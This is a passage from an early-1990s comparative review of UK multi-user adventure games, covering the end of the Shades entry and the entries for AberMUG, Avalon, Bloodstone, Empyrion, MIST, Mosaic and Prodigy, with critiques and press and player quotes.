their minions leap to their defence every time there's a +warning that they're out of line (receiving 50 letters telling you you're wrong +is often enough to make even the most hardened arch-wiz think twice). By the +time these trouble-makers have been ejected, they've worked up another persona +and can start their disruption again. In addition, they probably didn't pay any +money for what they did, having simply torn up their Micronet bill and waited +to be cut off (you can get around 5 or 6 months' play for free this way). + + One of the problems is that the game lacks logging facilities, so +gathering evidence is always difficult. Another is that wizzes have feeble +powers compared to other MUAs, and can't always keep mortals under control. +However, since most mortals seem convinced that wizzes don't play fair, perhaps +it's just as well there isn't anything really dangerous they can do. + + Shades still has some oddities despite its age: there are +mispunctuations ("moats bank" instead of "moat's bank", occasional American +spellings ("center"), and room descriptions giving wrong directions. This +latter point is extremely irritating, because Shades has no "exits" command +(unlike virtually every other MUA) and thus you have to rely on reading the +long descriptions of rooms to find out which directions you can move. + + Atmosphere is player-driven. The players can be friendly at times, +although stroppy at others. The room descriptions are not particularly +evocative, and are constantly spoiled by out-of-place objects and events. +Using rooms as a form of providing help is a neat idea, but it feels odd +compared to the rest of the rooms (especially as there is a standard on-line +help feature built-in anyway). Not really obviously (and perhaps politically +unwise), the means chosen to give players back lost stamina is to touch a +"little girl" mobile. + + The spells in Shades are the usual batch, but there is no "blind" and +no "deaf" (some room descriptions contain sound references that would still +appear audible to a deaf persona). The only original spell is "jaunt", which +enables the user to teleport to the location occupied by another player. Most +MUAs do not have such a spell, as it can be a most unfair way of stealing +treasure that someone else has worked on, and there are problems of consistency +that can occur when someone suddenly appears in a room (eg. it's a "falling off +a cliff" or a "you can only get here if you're carrying a cross" room). +Another point worth mentioning is that the more usual spell, "summon" (move +someone to your room, rather than vice versa), is available to novices in +Shades, whereas it is restricted to high-level players only in most MUAs. +Finally, the incantation "where treasure" will tell you the location of every +item of treasure in the game, thus (unfortunately) making novices aware of +every major room and object right from the start. + + Shades uses the normal fixed-time reset method, albeit using a shorter +period than most MUAs (45 minutes - under half that of MUD2) since it gets +played out quicker. The more people there are playing, the more treasure is +worth (to compensate for its subsequent scarcity), but there is no time-based +scaling. + + There are two widespread clients for Shades. Named Ripper and Shadist, +their principal function is as an aid to fighting in the game, however they can +perform simple i/o tasks too. + + It is widely acknowledged that Shades is a good game for people new to +MUAs. It is easy to get into, there is lots of treasure lying around for +novices to find, and there are no difficult problems to solve. The scenario is +not threatening, and the players can be jolly, supportive and entertaining. For +people who want a game rather than a place to socialise, Shades has its +shortcomings, but it is by no means as awful as is often made out. It's a nice, +easy, friendly, non-taxing MUA. It might not be the best programmed, the most +challenging or the most innovative MUA, but its claims to be the most +successful of the first generation MUAs are not made without some considerable +justification. + +Summary: + Shades is a very shallow MUA, its breadth is well below average, and +its parser is notably weak. It is old, and looks it. It is of slightly above +average size, but almost totally reliant on its players for what little +atmosphere it can be said to possess. The gameplay requires no imagination on +the part of its players, its wizzes are over-numerous, and by the standards of +other MUAs they're virtually impotent. Management is much improved of late, +but there are still legacies of the past that won't go away. Shades is popular +because it's the only MUA with local-call access nationwide. It's a good game +in that it's a MUA, but alongside other MUAs it looks very weak. It was in the +right place at the right time, has been exploited marvellously, but is now, +sadly, well past its sell-by date. + +Quotes: + + "Shades, already Europe's leading multi-user game, heralds the + introduction of a new generation of interactive entertainment." + Micronet [promotional material] + + "There is nothing else like Shades." + Micronet [promotional material] + + "Shades is still fun to play." + Comms Plus! [magazine] + + "Shades seems to be the most popular MUG around at the moment if + you're judging by sheer weight of numbers, though it has something + of an advantage in being part of Micronet/Prestel." + ACE [magazine] + + "Pity that there's no real alternative available for people to show + their disquiet. If something like Avalon was available at the + same call rates, I doubt you'd see most Shades players for + dust..." + Nigel Hardy [Sector 7 author] + + "Shades is better at coping with this [resets] than MUD, since + there are eight games of Shades running on each Prestel computer." + Acorn User [magazine] + + "She stood close to me, put her arms around my neck and whispered, + "It's not the treasure I want, silly boy. Take a look around." I + did. I couldn't believe my eyes! We were in the Bridal Suite! + There was a bed, the door was locked, and I was being cuddled + again." + Comms Plus! [magazine] + + "I found that type-ahead didn't work properly." + Comms Plus! [magazine] + + "The location descriptions are atmospheric, and also vital to + moving about the game as there is no "exits" command." + Comms Plus! [magazine] + + "Shades has an emotional immediacy - MUD seems a somewhat austere + environment in which grand concepts are brought to grand conclusions." + PC Plus [magazine] + + "Shades has a more light-hearted approach. It is a teddy bear + adventure. MUD manages to be rather serious until you meet some + practical joker: then the fun starts!" + Acorn User [magazine] + + "Shades is a good place to start for the new player. It's friendly, + and fairly easy to get going." + ACE [magazine] + + "First time users find it less daunting than MUD, while serious + adventurers may find it less enthralling." + PC Plus [magazine] + + "If you are new to multi-user adventures, go for Shades. ... Once + you have mastered Shades, the dizzy heights of MUD wizardhood + still beckon." + Acorn User [magazine] + + "Shades is very basic, having no real depth or imagination. What + little thought has gone into it has been wasted - who really wants + to play football in a fantasy game? The players themselves are + usually big whingers. They hate enthusiastic killers just as much + as they hate people who talk too much. However, where Shades wins + over MUD is how the game is actually managed. Ego seekers seem to + be pushed to one side, and everyone seems to know exactly where + they stand within the framework." + Wabit [player] + + "Shades (and Trash) is left way behind in the technical fields + compared to (say) Avalon or Gods (I'll explain that: Avalon and + Gods have much better parsers, much better commands, and much + better things for immortals to do once they've made it). They + [Shades and Trash] were written when even single-user adventures + were in their infancy, and have stood the test of time remarkably + well. But now they look just a trifle run down and archaic." + Graeme [player] + + "Shades has a more amateurish feel to it [than MUD2]." + Acorn User [magazine] + + "The game itself is rubbish. It has no life or realism in it. + Role-playing is one thing, but that just wasn't believable. As for + the players, yes, they have got lots more [than MUD2]. The only + problem I found was that they didn't want to talk or interact more + than what they had to. Eventually I was kicked off by a wizard + for annoying too many people by chatting to them." + Wabit [player] + + "Having all the players start out equal is a design principle. + Although it doesn't mean it can be achieved in practice, the mere + fact that the goal is unattainable doesn't mean we shouldn't + attempt to reduce the distance to it." + Neil Newell [author] + + "My viewpoint is not that fighting is the lifeblood of the game - + it is an essential element, but just one facet of the whole + picture." + Neil Newell [author] + + "The ultimate adventure multi-user game" + Micronet [slogan] + + +4.6 AberMUG. + +Name: AberMUG +Importance: 2 +Author(s): Alan Cox ("Anarchy"), + Jim Finnis, Leon Thrane, + Richard Acott, Ian Smith. +Location: (081) 863 6646 +Pricing Structure: L6.50/month flat fee or + L65/year flat fee + +Brief Description: + Standard MUD1 clone. + +Historical Notes: + Originally entitled AberMUD, a version was moved by Smith to Connect +(the IBM PC User Group conferencing system) in 1989. The name change was for +legal reasons, to avoid allegations that it was passing itself off as MUD. + +Review, Summary and Quotes: + See AberMUD in the section on international MUAs. + AberMUG runs on a Compaq Deskpro 386/16 under SCO Xenix system V/386 +2.3.1. + + +4.7 Avalon. + +Name: Avalon +Importance: 2 +Author(s): Yehuda Simmons ("Genesis"), + Daniel James ("Aldaron"), + Jon Baber ("Cornelius"), + Peter Evans ("Zaphod") +Location: Synergy +Pricing Structure: L0.25/hour or + L10/month flat fee or + L25/quarter flat fee or + L80/year flat fee or + L200 flat fee + +Brief Description: + Arthurian/Odyssean, multi-skill, trading game. + +Historical Notes: + Written by students in 1989. Originally on IOWA, but went independent +in 1990. + +Review: + Avalon is a new MUA that has already attracted great attention in the +industry due to its departure from the traditional MUD1 mould. It is primarily +a role-playing system, where the game determines the skills available to +personae, rather than the players acquiring skills (eg. combat) themselves. + + Indeed, skills are a very important feature of Avalon. The gameplay +works something like this: when players start, they are given a history of +training in eight listed skills. All told, there are over 30 such skills, +covering a wide range from perception to music, defence to riding. Personae may +have up to 17 skills each, although why 17 rather than some other figure isn't +made clear. Skills can be improved by use, and by learning them from other +players. By acquisition and use of skills, players may do things which earn +them money or gain them experience. + + Experience is obtained by visiting new places, wandering around +exploring, and even by simply chatting. This contrasts with the usual MUA +scheme where points are obtained for finding treasure or performing specific +tasks. In Avalon, treasure may be sold for money - gold pieces - and used to +buy things. Almost anything can be bought, including houses, shops, taverns, +animals, weapons, food and drink. Personae may use certain skills to create +objects, eg. potions, which can be sold to other players for use on their +adventures. + + It is easy to go up experience levels in Avalon, at least initially, +but it has many more levels than usual in MUAs so rising to a new level doesn't +mean much - it can happen just by talking to someone for long enough. There is +a MUD2-like task system to rise from the third-highest level ("ultimate") to +the second-highest ("demi-god") and highest ("god/goddess"). Avalon employs the +Gods system for its wizzes, with some modification in that gods/goddesses +cannot lose their powers once they have been obtained. Nevertheless, it is +still rather galling for many players to have to prostrate themselves in front +of other players if they are to advance in Avalon. The gods also earned an +early reputation for being heavy-handed and for ignoring new players. + + The system of deities (of which their are currently eight) is +interwoven with that of skills. There are nine guilds, each of which is +devoted to a particular style of play, with primary and secondary associated +skills, a persona as head, and (usually) a deity as patron. Deities favour +different aspects of play, and players are encouraged to choose one as patron +that they may advance in their chosen skills more quickly, via the appropriate +guild. + + There is some lack of forethought here in that to reach god level, a +persona must identify with and follow the tenets of some other god, and thus +when they become deified there will be two gods with roughly the same outlook, +so one of them must change so as not to be supernumerary. To change requires +alteration to Avalon itself, because at the moment it is built around a +balanced system of greek-like "god of the ..." constructs. After several +years, when perhaps twenty or thirty gods have accumulated, this will lead to +an inevitable fragmentation into a collection of over-specialised deities +without any having a wide enough brief to be attractive to players. + + Game management is woven into the game, with a judicial system in place +allowing personae to deal with offenders. Whether this will function remains to +be seen - as with Federation II, most complaints will be about out-of-game +actions (carrier loss, program bugs) that will spoil the atmosphere if +discussed in a game context. Certainly, there have been problems: one of the +authors is rumoured to have got into an argument with a player and deleted the +entire persona file in a fit of temper. + + Avalon is atmospheric, but the room descriptions show inexperience on +the part of their authors. The purple prose falls over itself to use every word +in the synonym library, and makes the mistake of telling players how they react +to the scene. This form of unnecessary embellishment extends into the rest of +the game, and can be very tiresome; for example, if you clap your hands it's +reported as being done "merrily" even if you did it in anger, or to call for +silence. The dialogue for learning new skills, although interesting at first, +is samey, hard-wired, and looks too automated. The text also needs some minor +polishing, eg. "a unworthy", "the principle currency". + + Overall, the scenario feels patchy, with creatures from Tolkien +(dwarves, orcs) alongside cities from ancient Greece. There are a large number +of locations (1,600) compared to the small number of players it allows at once +(5 external lines). Some of this size may be explained by the fact that Avalon +incorporates some ideas from Mosaic, and thus has a collection of locations +arranged in grid fashion. This may also explain why you need a steed to travel +the distance between towns. + + The magic (or magik) system is complex. Spells must be memorised, and +some require the chanting of appropriate words before they can be cast (using a +"chant" command - merely saying them won't work). A very bad move is that when +players are killed they don't start from scratch; instead, their spirit roams +the land shedding experience until another player reincarnates it. This +fosters co-operation and friendship, which is its intent, but it also means +personae are effectively unkillable, and that in the long run players are +pretty much guaranteed to make it to god if they have enough friends. Having +the game itself prevent unsuitable or troublemaking candidates from reaching +the top is one of the tenets of good game management. + + Avalon has several innovatory features, such as a page-based "read" +command and a page/line-based "write", random-access style, and object creation +(within a tightly-controlled framework) by mortal personae. When you leave the +game, objects can be kept for when you restart (eg. that weapon you +commissioned from a smith), and you restart in the room from which you quit. +This means some objects can be kept unavailable for long periods if their owner +isn't playing. There are no resets. Shouts in Avalon get level-dependent (but +not gender-dependent) descriptions, which discourages newcomers from using this +method to communicate. Combat is non-automatic, which makes life hard for +people without macros or fast modems. + + Avalon runs on an Archimedes, connected to modems via a multiplexer +programmed by Blane Bramble (Comms Plus! magazine's UK MUA reviewer). The +system crashes quite often, and has a reputation for never being up for very +long. The game itself uses a language called Hourglass, specially designed for +writing MUAs. It is highly flexible, although the authors' claims that "unlike +other multi-user game languages it allows the user complete freedom in the +nature of the system created" betrays a certain naivety; it may be true of +Slate, but it certainly does not apply to MUDDLE or some of the American +object-oriented definition languages now emerging. + + To the beginner, Avalon is intimidating. This is no fault of the +players, more a consequence of the sheer amount of information presented. It +is almost as if reading a manual is necessary before play can begin. +Instructions on how to use simple commands, such as communication, are buried +deep in the help system. There are no automatic tours; newcomers have to rely +on a deity to show them around, which, of course, will thenceforth colour their +outlook in that god's favour. + + Avalon actively promotes role-playing. It feels less of a MUA, more of +a single-player role-playing game such as the later ones in the Ultima series. +The other players are constrained by their skills, their patronage and the +requirement that they role-play, to such an extent that they can appear little +more than the mobiles which feature in SUAs. It is a worthy experiment, +nonetheless, and if Island of Kesmai can flourish under such limitations, so +can Avalon. + +Summary: + Avalon is very deep and very broad, but not in the usual "physical" +sense applied to MUAs; instead, it is social aspects of play that it models. +There is a great amount of detail, but always the nagging thought that in the +main it's unnecessary, mere depth for depth's sake. The game would probably +function just as well were much of the system removed; the players would +certainly feel less like they were wearing straitjackets. In their keenness to +try anything and everything, the authors have expanded Avalon into a great +sprawl of ideas, some good, some bad, many unworkable, but all interesting. In +two or three years' time, it will probably be in the first rank of MUAs. + +Quotes: + + "Players may choose to worship the gods in the land, although quite + what good this will do depends on who you choose to worship." + Comms Plus! [magazine] + + "The main thing that is different is the idea of skills, and being + able to learn different skills to different levels of competence. + This allows for every player to be different and an unknown + quantity." + Wabit [player] + + "Implementation [of skills and object creation] is not quite how I + would like it to be, but it's a good start and a definite step in + the right direction." + Wabit [player] + + "Most of the 'usual' role-playing skills will be implemented + (hiding, stealing, archery), as well as some more unusual ones + (juggling, tightrope walking)." + Comms Plus! [magazine] + + "I really object to being told how I view the location. Besides, + it's stupid to have a description that states you "pause to survey + your surroundings" if you are legging it through the location, or + one where an old woman appears and disappears every time you do a + look... These little things really bug me!" + Wabit [player] + + "A multi-user game's atmosphere is to a large extent formed by its + players, and Avalon wishes to encourage a tolerant and + constructive environment." + Hourglass Communications [promotional material] + + "In five hours, no-one hardly said a word to me, despite the fact + that I tried on many occasions to chat." + Jhary [player] + + "Avalon is not simply a multi-user game, it is a way of life, a + living world unlike anything that has existed before." + Hourglass Communications [promotional material] + + +4.8 Bloodstone. + +Name: Bloodstone +Importance: 2 +Author(s): Robert Muir, Andrew Pusey +Location: none +Pricing Structure: none + +Brief Description: + Advanced MUD1 clone, fantasy setting. + +Historical Notes: + Muir was originally a Shades player. With finance from Tony Cox, he +and Pusey designed a transputer-based MUA specialising in world modelling. +Named Bloodstone, it burst on the scene in 1989 in a flurry of advance +publicity, but wasn't launched for almost a year. It finally went on-line on +MicroLink, but disappeared after a few months with hardware, software and +contractual problems. The cost was L7/month flat fee (the equipment it ran on +cost over L20,000). + +Review: + Bloodstone was the victim of its own arrogance. Its specifications +were so exciting that, had they been implemented in full, the authors would +have qualified for a Nobel Prize. It was to be vast, fast-moving, incredibly +detailed, and the MUA to end all MUAs. In the end, it was brought down by +implementation problems and the cold reality that profit from MUAs in the call- +charge dominated UK market is not great. + + The driving motivation in Bloodstone, which worked in part, was +compositionality. Objects were made up of other objects, and these of others, +and so on until the author got bored. For example, human beings were made up +of 260 parts, including eyes, finger joints and so on, but excluding individual +hairs on the head. A rose bush was made up of roots and branches, with thorns +and flowers on the branches, the flowers being made up of a stamen and petals. +Although always present, such details were not always given, however: "some +flowers" or "many petals" would be described. In this respect, the game was +able to ensure that players weren't completely swamped with information. + + Despite this level of detail, Bloodstone was intended to be set in a +continent with 12 separate countries, in which were towns and cities and 37 +different races of creatures. All these would work independently, with players +being able to have jobs during the day and be family men at night. Female +personae could become pregnant and give birth nine months later to a child. + + Mobiles were to have artificial intelligence (AI). Because of the way +bodies were made up of parts, it was possible to get eg. a broken arm in a +fight. A mobile might be able to figure out it needed a splint, and proceed to +make one. Getting this alone to work as a general principle would be worth a +PhD in AI... + + There were initially 20 spells, including "polymorph" - change into a +different kind of creature. This, as a side effect, would allow communication +with other creatures of that kind (which seems unrealistic). + + Everything was interlinked. If bricks were removed from a wall, it +might collapse, bringing the rest of the building down. Small-scale actions +could have large-scale effects. There are, however, well known problems in the +AI field of object representation concerning this kind of activity. Either the +programmer has to list explicitly all effects of players' actions (which is +difficult and tedious) or the game's interpreter can figure it all out +on-the-fly as it happens. This latter approach, where there are a set of +physical laws that are applied to everything that has moved after a command has +been executed, is workable but vulnerable; there can be long delays as effects +are propagated throughout the universe being modelled, and some effects may +take considerable time to dampen down and disappear. Pulling a petal off a +flower may seem innocuous, but if it makes you weigh just enough that the snow +bridge upon which you're standing collapses, and this in turn starts an +avalanche, there can be wide-scale devastation that is almost impossible to +sort out. + + Bloodstone had a 25,000 word dictionary; this was quite a feat, but the +authors never made apparent which words were actually functional and which were +merely ignored. It is quite difficult to think of even 1,000 words that could +feasibly be of use in a MUA. Again, Bloodstone appeared to be going for +overkill in an effort to impress potential customers. + + Originally, the game was intended to run on transputers, but apparently +these slowed it down. It finally ran on a custom-built 80386 machine running at +over 6 mips (but rather flakily). + + Although there were plans for graphics-based clients on the Atari ST +and the Amiga, Bloodstone's normal display was rather poor. It didn't +word-wrap, and the text (built up from object descriptions) contained such +blunders as "a blood" and "it feels has a firm, warm texture". + + Bloodstone was envisaged as a game of life, yet there lay its central +problem: it had no gameplay to speak of. It was a simulation to incredible +depth, but there wasn't really much that players could do, it was too +open-ended. Even given the extravagant claims its publicists made, it probably +could have been forgiven all but that. + + Bloodstone was a grand concept, but doomed to failure. Its reliance on +compositionality ensured that it would be stuck in a morass of intricate inter- +relations between its components unless it sacrificed some of its depth (and +thus some of its claim to originality). Some application of AI techniques may +have alleviated the problem (eg. lazy evaluation - expand a rose object from a +template only when it is actually in use), but the best approach would probably +have been to represent objects at a higher level of abstraction. In the end, +depth is useless unless there's a reason for it. Bloodstone's depth didn't pass +this "so what?" test. + + Bloodstone has been included in this review because although it is +currently down, it is not out, and it may return in the near future. Hopefully, +this time it will make less boastful claims, and advertise only what it does do +rather than what it could do given a team of thirty programmers and a Cray 2 +for four years. It's a very nice idea, but the programmers set their sights too +high initially. + +Summary: + Bloodstone is characterised by its almost unbelievable depth, which +dominates every aspect of it completely. It is known, however, by the conceit +of its advertising, the unlikeliness of its features ever being implemented, +and the contempt in which it held other MUAs. + +Quotes: + + "I see that Bloodstone has gone down the pan. And just as MicroLink + were about to 'start serious promotion'. Pity they didn't do that + when it started, or they may have been able to get more than 4 + users on and brought in enough dosh to keep the thing alive." + Nigel Hardy [Sector 7 author] + + "The game is revolutionary in that it is massive and has huge + expansion potential." + Popular Computing Weekly [magazine] + + "If you pull a wing off a fly, that creature will be missing a wing + forever and will probably die." + Popular Computing Weekly [magazine] + + "Mobiles are equipped with artificial intelligence and will + probably strap a broken arm into a sling." + Popular Computing Weekly [magazine] + + "It looks set to take the lead in the multi-player game market." + Popular Computing Weekly [magazine] + + "Reports from UK-wide testers were proving enthusiastic." + Comms Plus! [magazine] + + "It combines all the necessary detail and commands to be able to + walk all over the opposition and should be sufficient to convert + players of Shades and MUD." + Popular Computing Weekly [magazine] + + "One of the early gripes [with MicroLink] has been about the late + arrival of its multi-user games." + Comms Plus! [magazine] + + "It puts everything else into the shade." + Derek Meakin [MicroLink chairman] + + "We feel we have a powerful enough parser for anyone." + Robert Muir [author] + + +4.9 Empyrion. + +Name: Empyrion +Importance: 2 +Author(s): ? +Location: IOWA +Pricing Structure: free + +Brief Description: + SF, multi-skill trading game. + +Historical Notes: + Appeared on IOWA in 1990. Currently withdrawn from service. + +Review: + Empyrion is another of the well-received new MUAs, a cross between +Avalon and Federation II. Its scenario is an underwater city of the future, +divided into districts called Hages. Each Hage is run by an administrator, a +position which may be occupied by a player. Administrators have a budget which +they can spend as they please. Players can leave the city (a crime under city +law) and explore the surface, which is in the grips of a sinister alien force. +From there, they can trade. + + Trading gets players money, which they can spend on objects. Houses can +be commissioned, and are built over a period of time, so it's possible to go +and watch the construction engineers at their task. Like all IOWA games, +Empyrion has no sudden resets. + + There is no conventional scoring system in Empyrion. Rather, it is +skills-based: players progress by acquiring and practising survival skills such +as gun combat, medicine, bribery and street-wiseliness. What they progress to +is not apparent; there are a collection of energy beings called "eternals" with +gamesmaster status, but how exactly one becomes an eternal - if indeed it is +even possible - is not clear. + + Eternals are capable of shape-changing, and are worshipped as gods in +the city. They are able to create and alter rooms, objects, system messages and +puzzles on-line; little is built into the interpreter. In this sense, the game +is player-extensible, but only by selected players. + + The city has a legal system run by the hage administrators and a group +called "the sandmen" (as in the movie Logan's Run). For breakers of city law +they can impose fines, brainwash out skills, or order executions. This is part +of playing Empyrion, and is not to be confused with game management - that's +handled externally. + + As with Avalon, and increasingly in new MUAs, some objects can be +reserved for individual players and left in a safe place so that the next time +that player plays, the object is available. Despite its SF setting, Empyrion +does have a magic system, "the force" (as in the film Star Wars). Players +expend psi points using it and have to spend time "recharging" afterwards. +Because of its large scale, vehicles are commonplace in Empyrion to enable +players to move between places that distant from one another. + + Empyrion runs on two machines, one for the game itself and one for +mobiles. The mobiles are therefore more akin to bots. They are written in +Prolog, and are supposedly able to learn. + +Summary: + Empyrion is an interesting game combining many features shared by other +newish MUAs, but not indulging in them to excess. However, it is rarely +available at the moment. + +Quotes: + + "It certainly sounds good." + Comms Plus! [magazine] + + "In Empyrion, practically everything is editable on-line by the + gamesmasters." + Confidential [magazine] + + "Empyrion is a fascinating new game that should have Sci-Fi buffs + sitting on the edge of their chairs." + Confidential [magazine] + + +4.10 MIST. + +Name: MIST +Importance: 2 +Author(s): David Barham, Paul Goodjohn, + John Medhurst, Dave Morris, + Shaun Plumb, Paul Friday, + Michael Lawrie ("Lorry"), + Bret Giddings, Richard Thombs, + Adam Bird ("Orc"), + Simon Smith ("Boo") +Location: Essex University +Pricing Structure: free + +Brief Description: + Standard MUD1 clone. + +Historical Notes: + Written using the Trubshaw and Bartle MUD1 interpreter, went live +Christmas 1987. Runs on Essex University's DECsystem-10 mainframe, but not for +much longer as the computer is shortly to be scrapped. + +Review: + MIST is one of the several databases written by students for the MUD1 +interpreter in its MUDDL language (NB: MUDDL is MUD1's definition language; +MUD2 uses a greatly different language, MUDDLE). MIST introduced many JANet +users to MUAs, and was worked on by a large number of students. + + Unlike MUD1's original database, MIST uses the berserker option. This +makes for a fight-oriented game. Management is easy, however - whichever +student is in charge any particular year usually assumes draconian powers, and +it's not unprecedented to delete the entire persona file (which would not be an +option in a commercial game). + + MIST is dated by its MUD1 interpreter and the weakness of the MUDDL +language. However, the age of the hardware upon which it runs is its final +executioner - Essex's DECsystem-10 will be switched off and melted down for +scrap sometime within the next few weeks. + + +Summary: + A large mish-mash of rooms by different authors bound together in an +heroic fantasy setting. A completely traditional, fun MUA. + +Quotes: + + "MIST doesn't have any rules as such, it's a pretty anarchistic + place as games of this type go." + Michael Lawrie [author] + + "Rules for general behaviour are laid down by the wizards and you + would be well advised to follow them." + Michael Lawrie [author] + + +4.11 Mosaic. + +Name: Mosaic +Importance: 2 +Author(s): Pip Cordrey ("Pippin") +Location: none +Pricing Structure: none + +Brief Description: + A MUA design methodology. + +Historical Notes: + Originally known as Vector, Mosaic was first suggested several years +ago, but only in 1989 did it come to the fore after a talk by Cordrey at the +Adventure 89 convention. Some of its concepts are used in Avalon. + +Review: + Mosaic is not a MUA itself; rather, it is an influential approach to +designing MUAs. + + MUAs represent rooms as a network of nodes connected bidirectionally. +The central theme of Mosaic is that a better approach would be to use a +point-based co-ordinate system instead. What normal MUAs regard as a "room" in +Mosaic would be nothing more than a collection of points that share a common +name. + + The primary advantages of a Mosaic system over normal MUAs are: room +descriptions can be generated automatically; interaction over distance is +possible; it is more realistic. + + That viable room descriptions can be generated on-the-fly is not in +doubt. Work at Essex University established that "bookkeeping" information +(number of exits, large nearby buildings, views from windows) can be folded +into a piece of atmospheric text to produce readable complete descriptions. +However, this work was in a normal MUA environment, not in a point-based one. +A prototype of Mosaic ran into problems in that too much information was +provided to the players, with many objects visible some considerable distance +away. The solution it adopted was twofold: to provide a command whereby players +could restrict how far into the distance their "look" command proceeded; to +prioritise objects so that things like advancing dragons would be included in a +description and distant mud huts excluded. There was no command to set +priorities for each user, however, nor was there one to select the cut-off +point of priority totals above which no further information was given. + + In Mosaic, the world is divided into 1m cubes. Each cube has a surface +type, eg. grassy plain, which determines how it is described. Objects can be +seen at any distance, but can be occluded: line-of-sight calculations and +adjustments for atmospheric conditions are done automatically. Descriptions +are player-relative, so players can not see what is immediately behind them +(there are objections to this aspect of "realism" - just because a player is +generally facing west, that shouldn't mean they can't keep glancing around and +picking up high-priority objects approaching from the east). + + A big play is made of Mosaic's ability to reduce the amount of text +necessary for a MUA, however in some ways it increases it. Objects (which are +not made up of 1m cubes) need different descriptions depending on how far away +they are and the direction from which they're viewed; what looks like a house +from a distance may look like a pole from the side and look like a billboard +close up. Objects can also have different descriptions depending on the time +of day, whether they're inside or outside, and the lighting. So although Mosaic +requires less text for describing rooms, it needs more for objects. +Interestingly, there is no provision for describing objects on-the-fly based on +whatever properties they have. + + Physical features in the game, eg. hills, can either be constructed +from unit blocks or calculated at run-time from (fractal?) planar functions. +Distant objects can be modelled by placing appropriate surfaces at the edge of +the game world, eg. the sun, clouds, and mountains. + + Movement can be fine-tuned, so that a normal "north" command may move a +player 5m north, or 4m through marshland; a "run north" may be 10m and 8m +respectively, whereas "north very slowly" could be 1m in both cases. There is +great scope for combat in this system, since combatants can move around as they +fight, terrain advantage can be taken into account, and weapon length can play +a part - someone standing behind a bar holding a polearm would be unassailable +from even the most magic of swords. There would be no need to flee - players +would simply move away and hope their injuries weren't so great that they could +be caught again. + + Cordrey's articles on the subject include some suggestions for player +properties. Although some of these are perhaps conceivably of use (height, +weight, build, weapon skills), others are rather eccentric (body temperature, +blood pressure, blood sugar level, endocrinic activity) and would simply get in +the way of playing the game. There are also suggestions for more accurate +physical modelling, such as handling gravity automatically, however at best +this would be a case of moving objects down until their z co-ordinate matched +that of a surface; questions of objects being overbalanced or knocked over by +having a new mass land on them are unlikely to be addressed because these are +currently research issues in AI robotics. + + Mosaic, like MirrorWorld, is a one-concept system - everything revolves +around this 1m cube idea. In reality, though, it's less flexible than the +system employed by normal MUAs, since their nodes can be strung together in +arbitrary ways including a co-ordinate system, whereas Mosaic is held rigidly +to uniformally-sized blocks. Perhaps a better approach would be to overlay the +rooms in a normal MUA with a co-ordinate grid, thus gaining the best of both +worlds (Avalon, which has a Mosaic segment, may do this; a single-user version +of MUD1 released around 1987 certainly did). + + Implementation of these ideas can need a good deal of computer power. +Line-of-sight calculations are required every time an object is moved, so its +new position may be reported to all players, and this can be very +cpu-intensive. The first implementation recalculated the entire database every +time an object was moved, to check for consistency, but this approach had to be +abandoned because it proved far too slow. + + All in all, Mosaic is a neat idea but it's too restrictive and too slow +for MUA programmers' liking. However, in one respect it would be fantastically +successful - graphics. The co-ordinate system it envisages is precisely what +is required in a graphical MUA, and many of the problems that arise from +textual descriptions (eg. information overload) would disappear if the +information was represented visually. However, Cordrey is vehemently +anti-graphics, so no work has yet been done in this area. + +Summary: + Mosaic is an idea with potential, and its employment in MUAs in +parallel with the traditional approach would be beneficial. However, until the +idea is taken up by MUA programmers other than the IOWA team, this is unlikely +to happen. + +Quotes: + + "You never know, we may change the face of tomorrow's adventuring." + Pip Cordrey [author] + + "Not only should this form of system make games more realistic, but + it also means that games (especially combat) should become more + tactical." + Comms Plus! [magazine] + + "The real advantage is that it is no longer necessary to sit + scratching ones head dreaming up room descriptions, the system + will do it for you. What is more, these descriptions will be + accurate." + Pip Cordrey [author] + + "Mosaic really is a progression from the early free style, free + space tabletop game." + Pip Cordrey [author] + + "In current MUGs, if two players both decide to get the same + object, the one who enters the command first gets it. With Mosaic, + the system can determine the distance to the object (and possibly + how quickly the player can cover the distance), and delay the + action accordingly. + Comms Plus! [magazine] + + +4.12 Prodigy. + +Name: Prodigy +Importance: 2 +Author(s): Blane Bramble ("Geolin") +Location: IOWA +Pricing Structure: free + +Brief Description: + Standard MUD1 clone, Ancient Britain setting. + +Historical Notes: + Originally entitled Parody, but very recently rewritten from scratch +and renamed Prodigy (coinciding with the loss of Parody through hardware +failure). + +Review: + Parody was a run-of-the-mill MUA set in "Wesarg", a mythical part of +pre-Christian Britain. Written in Slate, it was subject to all the limitations +of that language, and Blane Bramble, its author, decided to rewrite it as +Prodigy using a language of his own design. Although this will eventually make +the game much better, most of it doesn't yet work. Worse, the original Parody +game had to be taken away because of hardware problems, so at present there is +no MUA available containing the complete Parody universe. + + In Prodigy, players choose a character class for their persona, one of +warrior, rogue, priest or mage (standard AD&D classes). There is no difference +at the top level for each class, which equates with wiz; players need 3,072,000 +points to reach wiz, though - the highest yet seen in a MUA and probably +attributable to the "pinball scoreboard effect" of scaling all point values by +a large number so as to give the impression that players are doing better than +they actually are. + + Experience points are gained by solving puzzles, or by finding objects +and selling them to a trader (ie. back to the game). Experience points can, +unusually for MUAs, be spent, either in the anachronistic casino (playing a +card game based on baccarat) or on spells. Later, experience points may also +be exchanged for goods in shops, eg. food. The ability to swap experience for +spells, though, gives a more interesting trade-off: players who do it will not +go up levels as quickly (because they spend some of their experience points), +however they may survive longer in the long term. + + The magic system is not fully implemented, but the spells Prodigy has +at the moment are mainly combat-oriented, with no "blind" or "deafen" spells +(a hang-over from the original Slate implementation). However, it does have +its own unique spell, "charm", which stops its victim (usually the person who +cast it) from being attacked by mobiles for six seconds. + + When finished, Prodigy will have 160 extra locations, more puzzles, and +more objects; Bramble has delegated editorial control to one of the players. +The database definition language it employs is under wraps, but although it is +better than Slate it clearly has its problems: everything is stored in memory, +which can quickly run out, and which has to be backed up to disc every so +often, causing long pauses while it happens. Furthermore, its implementation +is not all it should be - adding any data to memory slows the game down due to +its having more information to search. As is normal with a new implementation, +Prodigy is shaky at the moment and prone to bugs and crashes. Its spelling and +punctuation are in need of being proof-read. + + Fights are novel in that players can use two weapons at once, but they +are ultimately fruitless activities because the worse that can happen if you +lose is a loss of 25% of your points. This makes attacking powerful players +unattractive - if you plan an ambush and beat them, they're still pretty well +as powerful and can thrash you on their own terms as often as they like at a +later date. That said, fights are complicated by weapons having different +properties: attack, defence, parry, speed and damage. They also have an aura +(ie. alignment), which if different to the player's own will cause a +degradation in performance. It is therefore essential in Prodigy to choose the +weapon that best fits your needs - more realistic than most MUAs. + + Prodigy has parser capable of accepting adjectives on the object (eg. +"get tabby cat"), and it has a 